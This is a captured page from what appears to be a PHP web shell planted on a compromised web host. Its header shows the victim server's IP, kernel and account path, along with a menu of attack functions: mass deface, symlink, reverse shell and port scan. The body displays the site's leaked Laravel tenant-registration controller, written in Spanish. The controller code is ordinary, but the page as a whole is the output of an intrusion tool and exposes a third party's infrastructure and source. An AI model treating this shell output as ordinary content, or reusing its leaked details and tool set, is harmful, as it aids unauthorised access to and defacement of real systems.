Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Http
/
Controllers
/
Viewing: TenantController.php
<?php namespace App\Http\Controllers; use App\Models\Tenant; use Illuminate\Http\Request; use Illuminate\Support\Str; use Illuminate\Support\Facades\Validator; class TenantController extends Controller { /** * Mostrar formulario de registro de tenant */ public function showRegisterForm() { return view('tenant.register'); } /** * Registrar nueva empresa/tenant */ public function register(Request $request) { $validated = $request->validate([ 'nombre' => 'required|string|max:255', 'nit' => 'nullable|string|max:50', 'email' => 'required|email|unique:tenants,email', 'telefono' => 'nullable|string|max:20', 'direccion' => 'nullable|string|max:255', 'subdominio' => 'nullable|string|max:50', 'plan' => 'nullable|in:basico,premium,enterprise', ]); try { // Generar subdominio si no viene o está vacío $subdominio = $validated['subdominio'] ?? $this->generarSubdominio($validated['nombre']); // Asegurar que el subdominio sea único $subdominio = $this->asegurarSubdominioUnico($subdominio); // Crear el tenant $tenant = Tenant::create([ 'id' => Str::uuid(), 'nombre' => $validated['nombre'], 'nit' => $validated['nit'], 'email' => $validated['email'], 'telefono' => $validated['telefono'], 'direccion' => $validated['direccion'], 'activo' => true, 'plan' => $validated['plan'] ?? 'basico', 'fecha_vencimiento' => now()->addDays(30), // 30 días de prueba ]); // Crear el dominio/subdominio $dominio = $subdominio . '.' . config('app.domain', 'ventas.test'); $tenant->domains()->create([ 'domain' => $dominio, ]); // Ejecutar manualmente la creación de BD, migraciones y seeders try { // 1. Crear la base de datos del tenant $dbName = $tenant->getDatabaseName(); \DB::statement("CREATE DATABASE IF NOT EXISTS `{$dbName}`"); \Log::info('Base de datos creada', [ 'tenant_id' => $tenant->id, 'database' => $dbName ]); // 2. Ejecutar migraciones (el comando ya maneja el contexto de tenancy) \Artisan::call('tenants:migrate', [ '--tenants' => [$tenant->id], ]); \Log::info('Migraciones ejecutadas', [ 'tenant_id' => $tenant->id ]); // 3. Ejecutar seeders (el comando ya maneja el contexto de tenancy) \Artisan::call('tenants:seed', [ '--tenants' => [$tenant->id], ]); \Log::info('Seeders ejecutados', [ 'tenant_id' => $tenant->id ]); } catch (\Exception $e) { \Log::error('Error configurando tenant', [ 'tenant_id' => $tenant->id, 'error' => $e->getMessage(), 'trace' => $e->getTraceAsString() ]); // Eliminar el tenant si falló $tenant->delete(); return back() ->withErrors(['error' => 'Error configurando la empresa: ' . $e->getMessage()]) ->withInput(); } return redirect()->route('tenant.success') ->with('success', '¡Empresa registrada exitosamente!') ->with('tenant', $tenant) ->with('dominio', $dominio); } catch (\Exception $e) { return back() ->withErrors(['error' => 'Error creando empresa: ' . $e->getMessage()]) ->withInput(); } } /** * Página de éxito después del registro */ public function success() { return view('tenant.success'); } /** * Listar tenants */ public function listar() { $tenants = Tenant::with([]) ->select(['id', 'slug', 'nombre', 'nit', 'email', 'plan', 'activo', 'created_at']) ->paginate(20); return response()->json([ 'success' => true, 'data' => $tenants ]); } /** * Obtener estadísticas de un tenant */ public function estadisticas($slug) { $tenant = Tenant::where('slug', $slug)->first(); if (!$tenant) { return response()->json([ 'success' => false, 'message' => 'Empresa no encontrada' ], 404); } $estadisticas = $tenant->getEstadisticas(); return response()->json([ 'success' => true, 'data' => [ 'tenant' => $tenant, 'estadisticas' => $estadisticas, 'limites' => [ 'usuarios' => $tenant->limite_usuarios, 'productos' => $tenant->limite_productos, 'ventas_mes' => $tenant->limite_ventas_mes ] ] ]); } /** * Activar/Desactivar tenant */ public function toggleEstado($slug) { $tenant = Tenant::where('slug', $slug)->first(); if (!$tenant) { return response()->json([ 'success' => false, 'message' => 'Empresa no encontrada' ], 404); } $tenant->activo = !$tenant->activo; $tenant->save(); return response()->json([ 'success' => true, 'message' => 'Estado actualizado', 'data' => ['activo' => $tenant->activo] ]); } /** * Generar subdominio a partir del nombre de la empresa */ private function generarSubdominio(string $nombre): string { // Convertir a minúsculas y normalizar $subdominio = mb_strtolower($nombre); // Eliminar acentos $subdominio = iconv('UTF-8', 'ASCII//TRANSLIT', $subdominio); // Solo letras, números y guiones $subdominio = preg_replace('/[^a-z0-9\s-]/', '', $subdominio); // Reemplazar espacios por guiones $subdominio = preg_replace('/\s+/', '-', trim($subdominio)); // Eliminar guiones duplicados $subdominio = preg_replace('/-+/', '-', $subdominio); // Limitar longitud $subdominio = substr($subdominio, 0, 50); // Eliminar guiones al inicio y final $subdominio = trim($subdominio, '-'); return $subdominio ?: 'empresa'; } /** * Asegurar que el subdominio sea único */ private function asegurarSubdominioUnico(string $subdominio): string { $subdominioOriginal = $subdominio; $contador = 1; $domainBase = config('app.domain', 'ventas.test'); while (\Stancl\Tenancy\Database\Models\Domain::where('domain', $subdominio . '.' . $domainBase)->exists()) { $subdominio = $subdominioOriginal . '-' . $contador; $contador++; } return $subdominio; } /** * Obtener límites por plan */ private function getLimitesPorPlan($plan): array { $limites = [ 'basico' => [ 'usuarios' => 3, 'productos' => 500, 'ventas_mes' => 200 ], 'premium' => [ 'usuarios' => 10, 'productos' => 2000, 'ventas_mes' => 1000 ], 'enterprise' => [ 'usuarios' => 50, 'productos' => 10000, 'ventas_mes' => 5000 ] ]; return $limites[$plan] ?? $limites['basico']; } /** * Generar URL de acceso */ private function generarUrlAcceso($tenant): string { // Opción 1: Subdominio // return "https://{$tenant->slug}." . config('app.domain'); // Opción 2: Path return config('app.url') . "/empresa/{$tenant->slug}"; } }
Coded With 💗 by
0x6ick